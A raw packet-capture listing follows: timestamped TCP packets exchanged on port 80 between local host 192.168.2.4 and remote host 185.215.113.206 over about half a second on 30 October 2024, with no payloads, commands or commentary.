Oct 30, 2024 02:27:31.869224072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.869244099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869251966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.869263887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869304895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.869345903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869357109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869391918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.869519949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869594097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869606018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869637012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.869666100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.869689941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869949102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869996071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869999886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.870007992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870049000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.870073080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870332003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870342016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.870383024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870394945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870434046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.870507956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870518923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870529890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870556116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.870568037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.870626926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870637894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.870671034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.912400007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.912621021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.912631989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.912699938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.913896084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.913918972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.913928986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.914088011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.942198038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.942236900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.942250013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.942317963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.942334890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.942856073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.942900896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.942905903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.942912102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.942935944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.942948103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.986799002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.986812115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.986821890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.986833096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.986845970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.986855984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.986872911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.986902952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.986994982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987005949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987015009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987025976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987035990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.987062931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.987171888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987183094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987221003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.987821102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987831116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987840891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.987888098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.987900019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.987946033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988015890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988028049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988063097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.988116980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988130093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988141060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988168001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.988178968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.988617897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988640070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.988668919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.988688946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.029979944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.030014992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.030025959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.030096054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.031265020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.031342983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.031352997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.031358957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.031423092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.059871912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.059892893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.059902906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.059963942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.060333967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.060398102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.060409069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.060453892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.104161978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104209900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104221106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104265928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104276896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104403973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104409933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.104454994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104465961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104505062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.104638100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104681015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104691982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104693890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.104731083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.104799986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104810953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.104846001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.104846001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.104876041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.105149031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105190039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105201960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105206013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.105221987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.105242968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.105304956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105317116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105353117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.105619907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105698109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105710030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105751038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.105984926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.105997086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.106040001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.146855116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.146895885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.146913052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.146975994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.147531986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.147573948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.147605896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.147617102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.147655964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.148731947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.148741007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.148773909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.148796082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.148806095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.148837090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.177434921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.177457094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.177467108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.177520037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.177876949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.177891016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.177901983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.177939892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.177952051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.221786976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.221807957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.221817970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.221829891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.221859932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.221889973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.221909046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.221940994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.221975088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222146034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222212076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222249031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222285032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222332001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222347021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222359896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222393036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222402096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222635031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222673893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222690105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222702026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222733974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222778082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222790003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222820997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222908020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222918987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222928047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.222944021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.222971916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.223370075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.223417997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.223431110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.223462105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.223486900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.223525047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.223536015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.223567963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.264492035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.264547110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.264554977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.264559031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.264583111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.264585018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.264605999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.264607906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.264616966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.264642000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.265058994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.265095949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.265105963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.265115023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.265117884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.265139103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.265149117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.266377926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.266424894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.266427040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.266438007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.266463995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.266485929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.294888973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.294915915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.294930935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.294965982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.294977903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.295263052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.295272112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.295305014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.295331955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.295341969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.295380116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.295394897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339406967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339466095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339600086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339612961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339623928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339634895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339639902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339648008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339659929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339660883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339680910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339688063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339694023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339704990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339730978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339884043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339920044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339925051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339931965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.339956045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339972019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.339993000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340004921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340030909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340050936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340514898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340527058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340537071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340553045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340557098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340569019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340600014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340609074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340621948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340646982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340662003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340692997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340704918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340728998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340740919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340780973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340794086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340805054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.340820074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.340831995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.381959915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.382003069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.382014990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.382038116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.382050991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.382069111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.382550955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.382589102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.382591009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.382600069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.382632017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.384237051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.384248972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.384264946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.384267092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.384285927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.384315968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.384368896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.384381056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.384407043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.384418964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.412344933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.412405968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.412417889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.412444115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.412456036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.412708044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.412745953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.412750006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.412758112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.412777901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.412795067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.456851006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.456864119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.456901073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.456963062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.456989050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457000971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457001925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457030058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457042933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457113028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457124949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457154036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457283974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457325935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457353115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457365036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457391024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457398891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457423925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457434893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457467079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:32.457784891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457797050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457808971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:32.457829952 CET	49760	80	192.168.2.4	185.215.113.206
